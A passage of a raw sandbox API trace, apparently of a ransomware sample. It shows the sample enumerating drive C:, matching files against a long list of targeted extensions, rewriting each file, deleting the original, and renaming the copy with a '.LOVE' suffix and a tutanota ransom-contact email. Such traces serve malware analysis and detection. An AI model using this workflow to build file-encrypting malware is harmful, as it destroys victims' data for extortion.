Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0221.548] lstrlenW (lpString=".zip") returned 4 [0221.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.548] lstrlenW (lpString=".rar") returned 4 [0221.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.548] lstrlenW (lpString=".bz2") returned 4 [0221.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.548] lstrlenW (lpString=".7z") returned 3 [0221.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0221.548] lstrlenW (lpString=".dbf") returned 4 [0221.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0221.549] lstrlenW (lpString=".1cd") returned 4 [0221.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0221.549] lstrlenW (lpString=".jpg") returned 4 [0221.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.550] GetLastError () returned 0x0 [0221.550] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x5b04, lpOverlapped=0x0) returned 1 [0221.566] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x5b10, lpOverlapped=0x0) returned 1 [0221.568] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.568] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.568] SetEndOfFile (hFile=0x388) returned 1 [0221.580] CloseHandle (hObject=0x388) returned 1 [0221.582] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.582] SetEndOfFile (hFile=0x354) returned 1 [0221.589] CloseHandle (hObject=0x354) returned 1 [0221.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0221.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0221.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0221.591] lstrlenW (lpString=".doc") returned 4 [0221.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.591] lstrlenW (lpString=".docx") returned 5 [0221.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.592] lstrlenW (lpString=".pdf") returned 4 [0221.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.592] lstrlenW (lpString=".xls") returned 4 [0221.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.592] lstrlenW (lpString=".xlsx") returned 5 [0221.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.592] lstrlenW (lpString=".ppt") returned 4 [0221.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0221.592] lstrlenW (lpString=".zip") returned 4 [0221.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.592] lstrlenW (lpString=".rar") returned 4 [0221.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.592] lstrlenW (lpString=".bz2") returned 4 [0221.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.592] lstrlenW (lpString=".7z") returned 3 [0221.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0221.592] lstrlenW (lpString=".dbf") returned 4 [0221.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0221.592] lstrlenW (lpString=".1cd") returned 4 [0221.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0221.592] lstrlenW (lpString=".jpg") returned 4 [0221.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.638] GetLastError () returned 0x0 [0221.638] ReadFile (in: hFile=0x388, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0222.533] WriteFile (in: hFile=0x31c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0222.534] ReadFile (in: hFile=0x388, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0222.534] WriteFile (in: hFile=0x31c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0222.534] SetEndOfFile (hFile=0x31c) returned 1 [0222.936] CloseHandle (hObject=0x31c) returned 1 [0222.937] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0222.937] SetEndOfFile (hFile=0x388) returned 1 [0222.939] CloseHandle (hObject=0x388) returned 1 [0222.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0222.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0222.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0222.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0222.940] lstrlenW (lpString=".doc") returned 4 [0222.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.940] lstrlenW (lpString=".docx") returned 5 [0222.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.940] lstrlenW (lpString=".pdf") returned 4 [0222.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.940] lstrlenW (lpString=".xls") returned 4 [0222.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.940] lstrlenW (lpString=".xlsx") returned 5 [0222.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.940] lstrlenW (lpString=".ppt") returned 4 [0222.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0222.940] lstrlenW (lpString=".zip") returned 4 [0222.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.940] lstrlenW (lpString=".rar") returned 4 [0222.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.940] lstrlenW (lpString=".bz2") returned 4 [0222.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.940] lstrlenW (lpString=".7z") returned 3 [0222.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0222.940] lstrlenW (lpString=".dbf") returned 4 [0222.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0222.941] lstrlenW (lpString=".1cd") returned 4 [0222.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0222.941] lstrlenW (lpString=".jpg") returned 4 [0222.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.941] GetLastError () returned 0x0 [0222.941] ReadFile (hFile=0x388, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0) Thread: id = 17 os_tid = 0xff4 [0194.568] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3c50048 [0194.568] lstrlenW (lpString="C:") returned 2 [0194.569] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2edfcf8 | out: lpFindFileData=0x2edfcf8) returned 0x7a1af0 [0194.569] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0194.569] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0194.569] lstrlenW (lpString="$GetCurrent") returned 11 [0194.569] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0194.569] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3c60050 [0194.569] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0194.569] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 0x7a1b70 [0194.591] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.592] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0194.592] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0194.592] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0194.592] lstrlenW (lpString="Logs") returned 4 [0194.592] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0194.592] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42a0048 [0194.593] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0194.593] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0194.632] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.649] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0194.649] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0194.649] lstrlenW (lpString=".1cd") returned 4 [0194.649] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0194.649] lstrlenW (lpString=".3ds") returned 4 [0194.649] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0194.649] lstrlenW (lpString=".3fr") returned 4 [0194.649] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0194.649] lstrlenW (lpString=".3g2") returned 4 [0194.649] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0194.649] lstrlenW (lpString=".3gp") returned 4 [0194.649] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0194.649] lstrlenW (lpString=".7z") returned 3 [0194.649] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0194.649] lstrlenW (lpString=".accda") returned 6 [0194.649] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0194.649] lstrlenW (lpString=".accdb") returned 6 [0194.649] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0194.649] lstrlenW (lpString=".accdc") returned 6 [0194.649] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0194.649] lstrlenW (lpString=".accde") returned 6 [0194.649] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0194.649] lstrlenW (lpString=".accdt") returned 6 [0194.649] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0194.649] lstrlenW (lpString=".accdw") returned 6 [0194.649] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0194.649] lstrlenW (lpString=".adb") returned 4 [0194.649] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".adp") returned 4 [0194.650] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".ai") returned 3 [0194.650] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0194.650] lstrlenW (lpString=".ai3") returned 4 [0194.650] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".ai4") returned 4 [0194.650] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".ai5") returned 4 [0194.650] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".ai6") returned 4 [0194.650] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".ai7") returned 4 [0194.650] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".ai8") returned 4 [0194.650] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".anim") returned 5 [0194.650] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0194.650] lstrlenW (lpString=".arw") returned 4 [0194.650] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".as") returned 3 [0194.650] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0194.650] lstrlenW (lpString=".asa") returned 4 [0194.650] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".asc") returned 4 [0194.650] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".ascx") returned 5 [0194.650] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0194.650] lstrlenW (lpString=".asm") returned 4 [0194.650] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0194.650] lstrlenW (lpString=".asmx") returned 5 [0194.650] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0194.650] lstrlenW (lpString=".asp") returned 4 [0194.651] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".aspx") returned 5 [0194.651] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0194.651] lstrlenW (lpString=".asr") returned 4 [0194.651] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".asx") returned 4 [0194.651] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".avi") returned 4 [0194.651] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".avs") returned 4 [0194.651] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".backup") returned 7 [0194.651] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0194.651] lstrlenW (lpString=".bak") returned 4 [0194.651] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".bay") returned 4 [0194.651] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".bd") returned 3 [0194.651] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0194.651] lstrlenW (lpString=".bin") returned 4 [0194.651] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".bmp") returned 4 [0194.651] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".bz2") returned 4 [0194.651] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".c") returned 2 [0194.651] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0194.651] lstrlenW (lpString=".cdr") returned 4 [0194.651] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".cer") returned 4 [0194.651] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0194.651] lstrlenW (lpString=".cf") returned 3 [0194.651] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0194.652] lstrlenW (lpString=".cfc") returned 4 [0194.652] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0194.652] lstrlenW (lpString=".cfm") returned 4 [0194.652] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0194.652] lstrlenW (lpString=".cfml") returned 5 [0194.652] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0194.652] lstrlenW (lpString=".cfu") returned 4 [0194.652] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0194.652] lstrlenW (lpString=".chm") returned 4 [0194.652] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0194.652] lstrlenW (lpString=".cin") returned 4 [0194.652] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0194.652] lstrlenW (lpString=".class") returned 6 [0194.652] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0194.652] lstrlenW (lpString=".clx") returned 4 [0194.652] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0194.652] lstrlenW (lpString=".config") returned 7 [0194.652] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0194.652] lstrlenW (lpString=".cpp") returned 4 [0194.652] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0194.652] lstrlenW (lpString=".cr2") returned 4 [0194.652] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0194.652] lstrlenW (lpString=".crt") returned 4 [0194.652] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0194.652] lstrlenW (lpString=".crw") returned 4 [0194.652] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0194.652] lstrlenW (lpString=".cs") returned 3 [0194.653] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0194.653] lstrlenW (lpString=".css") returned 4 [0194.653] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".csv") returned 4 [0194.653] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".cub") returned 4 [0194.653] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".dae") returned 4 [0194.653] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".dat") returned 4 [0194.653] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".db") returned 3 [0194.653] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0194.653] lstrlenW (lpString=".dbf") returned 4 [0194.653] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".dbx") returned 4 [0194.653] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".dc3") returned 4 [0194.653] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".dcm") returned 4 [0194.653] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".dcr") returned 4 [0194.653] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".der") returned 4 [0194.653] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".dib") returned 4 [0194.653] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".dic") returned 4 [0194.653] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".dif") returned 4 [0194.653] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0194.653] lstrlenW (lpString=".divx") returned 5 [0194.654] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0194.654] lstrlenW (lpString=".djvu") returned 5 [0194.654] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0194.654] lstrlenW (lpString=".dng") returned 4 [0194.654] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0194.654] lstrlenW (lpString=".doc") returned 4 [0194.654] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0194.654] lstrlenW (lpString=".docm") returned 5 [0194.654] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0194.654] lstrlenW (lpString=".docx") returned 5 [0194.654] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0194.654] lstrlenW (lpString=".dot") returned 4 [0194.654] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0194.654] lstrlenW (lpString=".dotm") returned 5 [0194.654] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0194.654] lstrlenW (lpString=".dotx") returned 5 [0194.654] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0194.654] lstrlenW (lpString=".dpx") returned 4 [0194.654] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0194.654] lstrlenW (lpString=".dqy") returned 4 [0194.654] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0194.654] lstrlenW (lpString=".dsn") returned 4 [0194.654] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0194.654] lstrlenW (lpString=".dt") returned 3 [0194.654] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0194.654] lstrlenW (lpString=".dtd") returned 4 [0194.654] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0194.654] lstrlenW (lpString=".dwg") returned 4 [0194.654] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0194.654] lstrlenW (lpString=".dwt") returned 4 [0194.654] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0194.654] lstrlenW (lpString=".dx") returned 3 [0194.654] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0194.655] lstrlenW (lpString=".dxf") returned 4 [0194.655] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".edml") returned 5 [0194.655] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0194.655] lstrlenW (lpString=".efd") returned 4 [0194.655] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".elf") returned 4 [0194.655] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".emf") returned 4 [0194.655] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".emz") returned 4 [0194.655] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".epf") returned 4 [0194.655] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".eps") returned 4 [0194.655] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".epsf") returned 5 [0194.655] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0194.655] lstrlenW (lpString=".epsp") returned 5 [0194.655] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0194.655] lstrlenW (lpString=".erf") returned 4 [0194.655] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".exr") returned 4 [0194.655] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".f4v") returned 4 [0194.655] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".fido") returned 5 [0194.655] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0194.655] lstrlenW (lpString=".flm") returned 4 [0194.655] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".flv") returned 4 [0194.655] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0194.655] lstrlenW (lpString=".frm") returned 4 [0194.656] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".fxg") returned 4 [0194.656] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".geo") returned 4 [0194.656] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".gif") returned 4 [0194.656] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".grs") returned 4 [0194.656] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".gz") returned 3 [0194.656] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0194.656] lstrlenW (lpString=".h") returned 2 [0194.656] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0194.656] lstrlenW (lpString=".hdr") returned 4 [0194.656] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".hpp") returned 4 [0194.656] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".hta") returned 4 [0194.656] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".htc") returned 4 [0194.656] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".htm") returned 4 [0194.656] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".html") returned 5 [0194.656] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0194.656] lstrlenW (lpString=".icb") returned 4 [0194.656] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".ics") returned 4 [0194.656] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".iff") returned 4 [0194.656] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".inc") returned 4 [0194.656] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0194.656] lstrlenW (lpString=".indd") returned 5 [0194.657] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0194.657] lstrlenW (lpString=".ini") returned 4 [0194.657] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0194.657] lstrlenW (lpString=".iqy") returned 4 [0194.657] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0194.657] lstrlenW (lpString=".j2c") returned 4 [0194.657] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0194.657] lstrlenW (lpString=".j2k") returned 4 [0194.657] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0194.657] lstrlenW 